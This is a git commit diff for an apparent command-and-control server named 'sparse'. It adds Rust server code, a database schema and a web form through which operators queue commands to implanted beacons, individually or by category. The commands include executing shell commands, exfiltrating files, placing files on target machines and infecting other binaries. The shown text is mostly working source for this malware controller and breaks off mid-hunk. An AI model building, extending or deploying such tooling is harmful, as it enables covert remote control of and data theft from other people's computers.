feat: added basic command issuing
This commit is contained in:
parent
9fee4009f2
commit
e0af4ad291
2
.gitignore
vendored
2
.gitignore
vendored
@ -6,3 +6,5 @@ zig-out
|
|||||||
.zig-cache
|
.zig-cache
|
||||||
freebsd.txt
|
freebsd.txt
|
||||||
/sparse-server/db.sqlite*
|
/sparse-server/db.sqlite*
|
||||||
|
/filetransfers
|
||||||
|
/sparse-server/filetransfers
|
||||||
|
|||||||
12
Cargo.lock
generated
12
Cargo.lock
generated
@ -3285,6 +3285,7 @@ dependencies = [
|
|||||||
"hyper",
|
"hyper",
|
||||||
"inventory",
|
"inventory",
|
||||||
"js-sys",
|
"js-sys",
|
||||||
|
"multer",
|
||||||
"once_cell",
|
"once_cell",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
"send_wrapper",
|
"send_wrapper",
|
||||||
@ -3535,6 +3536,7 @@ dependencies = [
|
|||||||
"leptos_axum",
|
"leptos_axum",
|
||||||
"leptos_meta",
|
"leptos_meta",
|
||||||
"leptos_router",
|
"leptos_router",
|
||||||
|
"multer",
|
||||||
"pbkdf2",
|
"pbkdf2",
|
||||||
"rand 0.9.0",
|
"rand 0.9.0",
|
||||||
"rcgen",
|
"rcgen",
|
||||||
@ -3544,6 +3546,7 @@ dependencies = [
|
|||||||
"send_wrapper",
|
"send_wrapper",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
|
"server_fn",
|
||||||
"sha2",
|
"sha2",
|
||||||
"sparse-actions",
|
"sparse-actions",
|
||||||
"sparse-handler",
|
"sparse-handler",
|
||||||
@ -3556,6 +3559,7 @@ dependencies = [
|
|||||||
"tower-http 0.5.2",
|
"tower-http 0.5.2",
|
||||||
"tracing",
|
"tracing",
|
||||||
"tracing-subscriber",
|
"tracing-subscriber",
|
||||||
|
"uuid",
|
||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
"web-sys",
|
"web-sys",
|
||||||
]
|
]
|
||||||
@ -3700,6 +3704,7 @@ dependencies = [
|
|||||||
"tokio-stream",
|
"tokio-stream",
|
||||||
"tracing",
|
"tracing",
|
||||||
"url",
|
"url",
|
||||||
|
"uuid",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -3781,6 +3786,7 @@ dependencies = [
|
|||||||
"stringprep",
|
"stringprep",
|
||||||
"thiserror 2.0.11",
|
"thiserror 2.0.11",
|
||||||
"tracing",
|
"tracing",
|
||||||
|
"uuid",
|
||||||
"whoami",
|
"whoami",
|
||||||
]
|
]
|
||||||
|
|
||||||
@ -3819,6 +3825,7 @@ dependencies = [
|
|||||||
"stringprep",
|
"stringprep",
|
||||||
"thiserror 2.0.11",
|
"thiserror 2.0.11",
|
||||||
"tracing",
|
"tracing",
|
||||||
|
"uuid",
|
||||||
"whoami",
|
"whoami",
|
||||||
]
|
]
|
||||||
|
|
||||||
@ -3844,6 +3851,7 @@ dependencies = [
|
|||||||
"sqlx-core",
|
"sqlx-core",
|
||||||
"tracing",
|
"tracing",
|
||||||
"url",
|
"url",
|
||||||
|
"uuid",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -4552,9 +4560,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "uuid"
|
name = "uuid"
|
||||||
version = "1.13.1"
|
version = "1.14.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ced87ca4be083373936a67f8de945faa23b6b42384bd5b64434850802c6dccd0"
|
checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"getrandom 0.3.1",
|
"getrandom 0.3.1",
|
||||||
]
|
]
|
||||||
|
|||||||
19
packages.nix
19
packages.nix
@ -338,7 +338,24 @@ let
|
|||||||
|
|
||||||
copyToRoot = [ sparse-server ];
|
copyToRoot = [ sparse-server ];
|
||||||
|
|
||||||
config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; };
|
runAsRoot = ''
|
||||||
|
#!${pkgs.runtimeShell}
|
||||||
|
mkdir -p /sparse-server
|
||||||
|
'';
|
||||||
|
|
||||||
|
config = {
|
||||||
|
Cmd = [
|
||||||
|
"${sparse-server}/bin/sparse-server"
|
||||||
|
"serve"
|
||||||
|
"--file-store"
|
||||||
|
"/sparse-server/files"
|
||||||
|
"--management-address"
|
||||||
|
"0.0.0.0:3000"
|
||||||
|
];
|
||||||
|
Expose = { "3000" = ""; };
|
||||||
|
Env = { DATABASE_URL = "sqlite:///sparse-server/db.sqlite"; };
|
||||||
|
Volumes = { "/sparse-server" = { }; };
|
||||||
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
outputs = rec {
|
outputs = rec {
|
||||||
|
|||||||
@ -86,6 +86,25 @@ pub async fn handle_checkin(
|
|||||||
.cwd
|
.cwd
|
||||||
.to_str()
|
.to_str()
|
||||||
.unwrap_or("(unknown)");
|
.unwrap_or("(unknown)");
|
||||||
|
|
||||||
|
let template_category = sqlx::query!(
|
||||||
|
"SELECT default_category FROM beacon_template WHERE template_id = ?",
|
||||||
|
reg.template_id
|
||||||
|
)
|
||||||
|
.fetch_optional(&state.db)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
if let Some(category_id) = template_category.map(|r| r.default_category) {
|
||||||
|
sqlx::query!(
|
||||||
|
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
|
||||||
|
VALUES (?, ?)",
|
||||||
|
category_id,
|
||||||
|
reg.beacon_id
|
||||||
|
)
|
||||||
|
.execute(&state.db)
|
||||||
|
.await?;
|
||||||
|
}
|
||||||
|
|
||||||
sqlx::query!(
|
sqlx::query!(
|
||||||
r#"INSERT INTO beacon_instance
|
r#"INSERT INTO beacon_instance
|
||||||
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
|
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
|
||||||
|
|||||||
@ -31,7 +31,7 @@ tracing = { version = "0.1", optional = true }
|
|||||||
web-sys = { version = "0.3", features = ["WebSocket"] }
|
web-sys = { version = "0.3", features = ["WebSocket"] }
|
||||||
leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] }
|
leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] }
|
||||||
codee = { version = "0.2", features = ["json_serde"] }
|
codee = { version = "0.2", features = ["json_serde"] }
|
||||||
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite"], optional = true }
|
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
|
||||||
chrono = { version = "0.4", features = ["serde"] }
|
chrono = { version = "0.4", features = ["serde"] }
|
||||||
rpassword = { version = "7.3", optional = true }
|
rpassword = { version = "7.3", optional = true }
|
||||||
pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true }
|
pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true }
|
||||||
@ -47,6 +47,9 @@ serde_json = "1.0.139"
|
|||||||
send_wrapper = "0.6.0"
|
send_wrapper = "0.6.0"
|
||||||
duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] }
|
duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] }
|
||||||
regex = "1.11.1"
|
regex = "1.11.1"
|
||||||
|
server_fn = { version = "0.7.7", features = ["multipart"] }
|
||||||
|
multer = { version = "3.1.0", optional = true }
|
||||||
|
uuid = { version = "1.14.0", features = ["v4"], optional = true }
|
||||||
|
|
||||||
sparse-actions = { path = "../sparse-actions", optional = true }
|
sparse-actions = { path = "../sparse-actions", optional = true }
|
||||||
sparse-handler = { path = "../sparse-handler", optional = true }
|
sparse-handler = { path = "../sparse-handler", optional = true }
|
||||||
@ -78,6 +81,8 @@ ssr = [
|
|||||||
"dep:rustls-pki-types",
|
"dep:rustls-pki-types",
|
||||||
"dep:sparse-actions",
|
"dep:sparse-actions",
|
||||||
"dep:rand",
|
"dep:rand",
|
||||||
|
"dep:multer",
|
||||||
|
"dep:uuid",
|
||||||
"leptos/ssr",
|
"leptos/ssr",
|
||||||
"leptos_meta/ssr",
|
"leptos_meta/ssr",
|
||||||
"leptos_router/ssr",
|
"leptos_router/ssr",
|
||||||
|
|||||||
49
sparse-server/migrations/20250223030447_better_commands.sql
Normal file
49
sparse-server/migrations/20250223030447_better_commands.sql
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
DROP TABLE beacon_command_invocation;
|
||||||
|
DROP TABLE beacon_command;
|
||||||
|
|
||||||
|
CREATE TABLE beacon_file (
|
||||||
|
file_id varchar PRIMARY KEY NOT NULL,
|
||||||
|
|
||||||
|
file_name varchar,
|
||||||
|
|
||||||
|
beacon_source_id varchar,
|
||||||
|
|
||||||
|
FOREIGN KEY (beacon_source_id) REFERENCES beacon_instance
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE beacon_command (
|
||||||
|
command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
|
||||||
|
|
||||||
|
cmd_type text check (cmd_type in ('update', 'exec', 'install', 'upload', 'download', 'chdir', 'ls')),
|
||||||
|
|
||||||
|
exec_command varchar,
|
||||||
|
|
||||||
|
install_target varchar,
|
||||||
|
|
||||||
|
upload_src varchar,
|
||||||
|
|
||||||
|
download_src varchar,
|
||||||
|
download_path varchar,
|
||||||
|
|
||||||
|
chdir_target varchar,
|
||||||
|
|
||||||
|
FOREIGN KEY (download_src) REFERENCES beacon_file
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE beacon_command_invocation (
|
||||||
|
beacon_id varchar NOT NULL,
|
||||||
|
command_id int NOT NULL,
|
||||||
|
|
||||||
|
issue_date int NOT NULL,
|
||||||
|
|
||||||
|
invoker_id int NOT NULL,
|
||||||
|
|
||||||
|
invocation_date int,
|
||||||
|
invocation_result varchar,
|
||||||
|
|
||||||
|
PRIMARY KEY (beacon_id, command_id),
|
||||||
|
|
||||||
|
FOREIGN KEY (command_id) REFERENCES beacon_command,
|
||||||
|
FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
|
||||||
|
FOREIGN KEY (invoker_id) REFERENCES users
|
||||||
|
);
|
||||||
@ -112,7 +112,7 @@ pub fn App() -> impl IntoView {
|
|||||||
<Route path=path!("commands") view=crate::beacons::commands::CommandsView/>
|
<Route path=path!("commands") view=crate::beacons::commands::CommandsView/>
|
||||||
<Route path=path!("configs") view=crate::beacons::configs::ConfigsView/>
|
<Route path=path!("configs") view=crate::beacons::configs::ConfigsView/>
|
||||||
<Route path=path!("templates") view=crate::beacons::templates::TemplatesView/>
|
<Route path=path!("templates") view=crate::beacons::templates::TemplatesView/>
|
||||||
<Route path=path!("instances") view=crate::beacons::instances::InstancesView/>
|
<Route path=path!("beacon/:id") view=crate::beacons::instances::InstancesView/>
|
||||||
<Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/>
|
<Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/>
|
||||||
<Route path=path!("") view=|| view! {
|
<Route path=path!("") view=|| view! {
|
||||||
<p>"Select a menu item on the left to get started"</p>
|
<p>"Select a menu item on the left to get started"</p>
|
||||||
|
|||||||
@ -1,10 +1,413 @@
|
|||||||
use leptos::prelude::*;
|
use leptos::{either::Either, prelude::*};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
|
||||||
|
use web_sys::FormData;
|
||||||
|
use send_wrapper::SendWrapper;
|
||||||
|
|
||||||
|
#[cfg(feature = "ssr")]
|
||||||
|
use {
|
||||||
|
leptos::server_fn::error::NoCustomError,
|
||||||
|
sqlx::{sqlite::SqliteRow, FromRow, Row},
|
||||||
|
tokio::io::AsyncWriteExt,
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::beacons::{BeaconResources, categories::Category};
|
||||||
|
|
||||||
|
#[derive(Clone, Serialize, Deserialize)]
|
||||||
|
pub enum CommandBody {
|
||||||
|
Update,
|
||||||
|
Exec { command: String },
|
||||||
|
Install { target_binary: String },
|
||||||
|
Upload { target_file: String },
|
||||||
|
Download { src_file: String, target_path: String },
|
||||||
|
Chdir { target_dir: String },
|
||||||
|
Ls
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "ssr")]
|
||||||
|
impl FromRow<'_, SqliteRow> for CommandBody {
|
||||||
|
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
|
||||||
|
match row.try_get("cmd_type")? {
|
||||||
|
"update" => Ok(Self::Update),
|
||||||
|
"exec" => Ok(Self::Exec {
|
||||||
|
command: row.try_get("exec_command")?
|
||||||
|
}),
|
||||||
|
"install" => Ok(Self::Install {
|
||||||
|
target_binary: row.try_get("install_target")?
|
||||||
|
}),
|
||||||
|
"upload" => Ok(Self::Upload {
|
||||||
|
target_file: row.try_get("upload_src")?
|
||||||
|
}),
|
||||||
|
"download" => Ok(Self::Download {
|
||||||
|
src_file: row.try_get("download_src")?,
|
||||||
|
target_path: row.try_get("download_path")?
|
||||||
|
}),
|
||||||
|
"chdir" => Ok(Self::Chdir {
|
||||||
|
target_dir: row.try_get("chdir_target")?
|
||||||
|
}),
|
||||||
|
"ls" => Ok(Self::Ls),
|
||||||
|
type_name => Err(sqlx::Error::TypeNotFound {
|
||||||
|
type_name: type_name.to_string()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg_attr(feature = "ssr", derive(FromRow))]
|
||||||
|
#[derive(Clone, Serialize, Deserialize)]
|
||||||
|
pub struct BeaconCommand {
|
||||||
|
pub command_id: i64,
|
||||||
|
#[cfg_attr(feature = "ssr", sqlx(flatten))]
|
||||||
|
pub body: CommandBody
|
||||||
|
}
|
||||||
|
|
||||||
|
#[server(
|
||||||
|
prefix = "/api/commands",
|
||||||
|
endpoint = "issue_command",
|
||||||
|
input = MultipartFormData
|
||||||
|
)]
|
||||||
|
pub async fn issue_command(
|
||||||
|
data: MultipartData,
|
||||||
|
) -> Result<(), ServerFnError> {
|
||||||
|
let Some(user) = crate::db::user::get_auth_session().await? else {
|
||||||
|
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"You are not signed in!".to_owned(),
|
||||||
|
));
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut fields = std::collections::HashMap::<String, String>::new();
|
||||||
|
let mut download_src = None::<multer::Field>;
|
||||||
|
|
||||||
|
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"No form data was provided".to_owned(),
|
||||||
|
))?;
|
||||||
|
while let Ok(Some(field)) = data.next_field().await {
|
||||||
|
let name = field.name().unwrap_or_default().to_string();
|
||||||
|
tracing::trace!("Found field {}", &name);
|
||||||
|
if name != "download_src" {
|
||||||
|
fields.insert(name.clone(), field.text().await.unwrap_or_default());
|
||||||
|
} else {
|
||||||
|
download_src = Some(field);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
enum Target {
|
||||||
|
Beacon(String),
|
||||||
|
Category(i64)
|
||||||
|
}
|
||||||
|
|
||||||
|
let Some(target_beacons) = fields
|
||||||
|
.get("beacon_id")
|
||||||
|
.map(Clone::clone)
|
||||||
|
.map(Target::Beacon)
|
||||||
|
.or(fields
|
||||||
|
.get("category_id")
|
||||||
|
.map(|id| id.parse::<i64>().ok())
|
||||||
|
.flatten()
|
||||||
|
.map(Target::Category)) else {
|
||||||
|
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"A beacon command cannot be made without a target".to_owned(),
|
||||||
|
));
|
||||||
|
};
|
||||||
|
|
||||||
|
let db = crate::db::get_db()?;
|
||||||
|
|
||||||
|
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
|
||||||
|
Some("update") => {
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
Some("ls") => {
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
Some("chdir") => {
|
||||||
|
let chdir_target = fields
|
||||||
|
.get("chdir_target")
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"Directory target cannot be empty".to_owned(),
|
||||||
|
))?;
|
||||||
|
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
|
||||||
|
chdir_target
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
Some("exec") => {
|
||||||
|
let exec_command = fields
|
||||||
|
.get("exec_command")
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"Command cannot be empty".to_owned(),
|
||||||
|
))?;
|
||||||
|
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
|
||||||
|
exec_command
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
Some("install") => {
|
||||||
|
let install_target = fields
|
||||||
|
.get("install_target")
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"Install target cannot be empty".to_owned(),
|
||||||
|
))?;
|
||||||
|
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
|
||||||
|
install_target
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
Some("upload") => {
|
||||||
|
let upload_src = fields
|
||||||
|
.get("upload_src")
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"Upload file request path cannot be empty".to_owned(),
|
||||||
|
))?;
|
||||||
|
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
|
||||||
|
upload_src
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
Some("download") => {
|
||||||
|
let download_path = fields
|
||||||
|
.get("download_path")
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"Upload file request path cannot be empty".to_owned(),
|
||||||
|
))?;
|
||||||
|
|
||||||
|
let mut download_src = download_src
|
||||||
|
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"File to upload cannot be empty".to_owned(),
|
||||||
|
))?;
|
||||||
|
|
||||||
|
let file_name = download_src.file_name().unwrap_or_default().to_string();
|
||||||
|
let file_id = uuid::Uuid::new_v4();
|
||||||
|
|
||||||
|
let mut target_file_path = expect_context::<std::path::PathBuf>();
|
||||||
|
target_file_path.push(file_id.to_string());
|
||||||
|
|
||||||
|
tracing::debug!("Writing {file_name} to {target_file_path:?}");
|
||||||
|
|
||||||
|
let mut target_file = tokio::fs::OpenOptions::new()
|
||||||
|
.write(true)
|
||||||
|
.create(true)
|
||||||
|
.open(target_file_path)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
while let Ok(Some(chunk)) = download_src.chunk().await {
|
||||||
|
target_file.write(&chunk).await?;
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlx::query!(
|
||||||
|
"INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
|
||||||
|
file_id,
|
||||||
|
file_name
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
Ok(sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
|
||||||
|
file_id,
|
||||||
|
download_path
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?
|
||||||
|
.last_insert_rowid())
|
||||||
|
}
|
||||||
|
_ => Err(ServerFnError::<NoCustomError>::ServerError(
|
||||||
|
"Unknown command type".to_owned(),
|
||||||
|
))
|
||||||
|
}?;
|
||||||
|
|
||||||
|
let now = chrono::Utc::now();
|
||||||
|
|
||||||
|
match target_beacons {
|
||||||
|
Target::Beacon(bid) => {
|
||||||
|
sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||||
|
VALUES (?, ?, ?, ?)",
|
||||||
|
command_id,
|
||||||
|
now,
|
||||||
|
user.user_id,
|
||||||
|
bid
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?;
|
||||||
|
}
|
||||||
|
Target::Category(cid) => {
|
||||||
|
sqlx::query!(
|
||||||
|
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||||
|
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
|
||||||
|
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
|
||||||
|
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
|
||||||
|
WHERE bc.category_id = ?",
|
||||||
|
command_id,
|
||||||
|
now,
|
||||||
|
user.user_id,
|
||||||
|
cid
|
||||||
|
)
|
||||||
|
.execute(&db)
|
||||||
|
.await?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[component]
|
||||||
|
pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl IntoView {
|
||||||
|
let command_action = Action::new(move |data: &SendWrapper<FormData>| {
|
||||||
|
let data = data.clone();
|
||||||
|
async move {
|
||||||
|
issue_command(data.take().into()).await
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
view! {
|
||||||
|
{(categories.is_empty() && beacon_id.is_none())
|
||||||
|
.then(|| view! {
|
||||||
|
<span class="error">"Missing categories! Cannot assign a command to a category if there are no categories"</span>
|
||||||
|
})}
|
||||||
|
|
||||||
|
{move || match command_action.value().get() {
|
||||||
|
None => Either::Right(()),
|
||||||
|
Some(v) => Either::Left(match v {
|
||||||
|
Ok(_) => Either::Right(view! {
|
||||||
|
<p>"Command successfully isued!"</p>
|
||||||
|
}),
|
||||||
|
Err(e) => Either::Left(view! {
|
||||||
|
<p>"Error occurred issuing command:"</p>
|
||||||
|
<p>{format!{"{e:?}"}}</p>
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}}
|
||||||
|
<form on:submit:target=move |ev| {
|
||||||
|
ev.prevent_default();
|
||||||
|
let target = ev.target();
|
||||||
|
let form_data = FormData::new_with_form(&target).expect("could not get formdata from form");
|
||||||
|
command_action.dispatch(SendWrapper::new(form_data));
|
||||||
|
}>
|
||||||
|
<fieldset>
|
||||||
|
<legend>"Issue new command"</legend>
|
||||||
|
{if let Some(bid) = beacon_id.clone() {
|
||||||
|
Either::Left(view! {
|
||||||
|
<input name="beacon_id" type="hidden" value=bid />
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
Either::Right(view! {
|
||||||
|
<label>
|
||||||
|
"Select a category to command"
|
||||||
|
</label>
|
||||||
|
<select name="category_id">
|
||||||
|
{categories
|
||||||
|
.iter()
|
||||||
|
.map(|cat| view! {
|
||||||
|
<option value=cat.category_id.to_string()>
|
||||||
|
{cat.category_name.clone()}
|
||||||
|
</option>
|
||||||
|
})
|
||||||
|
.collect_view()}
|
||||||
|
</select>
|
||||||
|
})
|
||||||
|
}}
|
||||||
|
<label>"Type of command"</label>
|
||||||
|
<select name="cmd_type">
|
||||||
|
<option value="exec">"Execute command"</option>
|
||||||
|
<option value="upload">"Upload/exfil file"</option>
|
||||||
|
<option value="download">"Download/place file"</option>
|
||||||
|
<option value="update">"Update beacon"</option>
|
||||||
|
<option value="chdir">"Change directory"</option>
|
||||||
|
<option value="ls">"List files"</option>
|
||||||
|
<option value="install">"Install to a new binary"</option>
|
||||||
|
</select>
|
||||||
|
<label class="cmd-exec">"Command"</label>
|
||||||
|
<input class="cmd-exec" name="exec_command" />
|
||||||
|
<label class="cmd-upload">"File to upload/exfil"</label>
|
||||||
|
<input class="cmd-upload" name="upload_src" />
|
||||||
|
<label class="cmd-chdir">"Directory to change to"</label>
|
||||||
|
<input class="cmd-chdir" name="chdir_target" />
|
||||||
|
<label class="cmd-install">"Binary to infect"</label>
|
||||||
|
<input class="cmd-install" name="install_target" />
|
||||||
|
<label class="cmd-download">"Target location for file"</label>
|
||||||
|
<input class="cmd-download" name="download_path"/>
|
||||||
|
<label class="cmd-download">"File to download/place"</label>
|
||||||
|
<input class="cmd-download" name="download_src" type="file" />
|
||||||
|
<div></div>
|
||||||
|
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
|
||||||
|
</fieldset>
|
||||||
|
</form>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[component]
|
#[component]
|
||||||
pub fn CommandsView() -> impl IntoView {
|
pub fn CommandsView() -> impl IntoView {
|
||||||
view! {
|
let BeaconResources { categories, .. } = expect_context();
|
||||||
<div>
|
|
||||||
|
|
||||||
|
view! {
|
||||||
|
<div class="commands">
|
||||||
|
<h2>"Issue commands"</h2>
|
||||||
|
<div>
|
||||||
|
<p>
|
||||||
|
"This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left."
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
"Available commands, and the required version of the beacon:"
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<ul>
|
||||||
|
<li>"Exec: execute a command"</li>
|
||||||
|
<li>"Upload: upload a file from the server the beacon is on to the C2 server"</li>
|
||||||
|
<li>"Download: download a file from the C2 server to the computer the beacon is on"</li>
|
||||||
|
<li>"Update: Attempt to update the beacon on the remote system"</li>
|
||||||
|
<li>"Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"</li>
|
||||||
|
<li>"Ls: list files in the current 'working directory'"</li>
|
||||||
|
<li>"Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<Suspense fallback=|| view! { "Loading..." }>
|
||||||
|
{move || Suspend::new(async move {
|
||||||
|
let categories = match categories.await {
|
||||||
|
Ok(cs) => cs,
|
||||||
|
Err(e) => return Either::Left(view! {
|
||||||
|
<p>{"There was an error loading categories:".to_string()}</p>
|
||||||
|
<p>{format!("error: {}", e)}</p>
|
||||||
|
})
|
||||||
|
};
|
||||||
|
|
||||||
|
Either::Right(view! {
|
||||||
|
<CommandForm categories beacon_id=None />
|
||||||
|
})
|
||||||
|
})}
|
||||||
|
</Suspense>
|
||||||
</div>
|
</div>
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView {
|
|||||||
return;
|
return;
|
||||||
};
|
};
|
||||||
|
|
||||||
leptos::logging::log!("Received message: {m:?}");
|
|
||||||
|
|
||||||
match m {
|
match m {
|
||||||
SidebarEvents::BeaconList(bs) => {
|
SidebarEvents::BeaconList(bs) => {
|
||||||
let mut bs = bs.to_vec();
|
let mut bs = bs.to_vec();
|
||||||
@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView {
|
|||||||
return;
|
return;
|
||||||
};
|
};
|
||||||
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
|
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
|
||||||
leptos::logging::log!("Found beacon to check in");
|
|
||||||
b.last_checkin = chrono::Utc::now();
|
b.last_checkin = chrono::Utc::now();
|
||||||
}
|
}
|
||||||
}),
|
}),
|
||||||
|
|||||||
@ -28,8 +28,13 @@ pub enum Command {
|
|||||||
/// Run the web and API server
|
/// Run the web and API server
|
||||||
Serve {
|
Serve {
|
||||||
/// Address to bind to for the management interface
|
/// Address to bind to for the management interface
|
||||||
#[structopt(default_value = "127.0.0.1:3000")]
|
#[structopt(short = "m", long, default_value = "127.0.0.1:3000")]
|
||||||
management_address: SocketAddrV4,
|
management_address: SocketAddrV4,
|
||||||
|
|
||||||
|
/// Where to store files to transfer to target systems, and
|
||||||
|
/// files that are downloaded from remote systems
|
||||||
|
#[structopt(short = "f", long, default_value = "./filetransfers")]
|
||||||
|
file_store: PathBuf,
|
||||||
},
|
},
|
||||||
|
|
||||||
/// Extract the public key and print it to standard out
|
/// Extract the public key and print it to standard out
|
||||||
|
|||||||
@ -65,9 +65,9 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
|
|||||||
tracing::info!("Done running database migrations!");
|
